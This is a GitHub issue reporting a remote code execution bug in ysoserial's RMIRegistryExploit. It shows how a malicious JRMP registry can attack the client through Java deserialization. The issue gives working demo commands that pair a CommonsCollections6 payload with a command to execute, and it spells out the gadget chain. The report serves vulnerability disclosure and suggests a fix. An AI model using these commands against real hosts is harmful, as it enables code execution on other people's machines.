Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Arbitrary Remote Code Execution in RMIRegistryExploit #171

Open
halfblue opened this issue Nov 22, 2021 · 0 comments
Open

Arbitrary Remote Code Execution in RMIRegistryExploit #171

halfblue opened this issue Nov 22, 2021 · 0 comments

Comments

@halfblue
Copy link

Using RMIRegistryExploit to exploit a malicious rmi registry may lead to rce on client.

Demo

First,start a malicious registry:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe

and using RMIRegistryExploit to exploit it:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit localhost 1099 CommonsCollections6 whoami

and calc will be executed on client.

Analysis

RMIRegistryExploit uses registry.list/bind, which triggers unserialization. So malicious registry can attack client with gadgets in ysoserial,such as commonscollections.
Gadgets chain:
RegistryImpl_Stub#list->UnicastRef#invoke->StreamRemoteCall#executeCall->ObjectInputStream#readObject

Fix

Rewrite socket to implement JRMP connections, just like what ysoserial.exploit.JRMPClient does.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant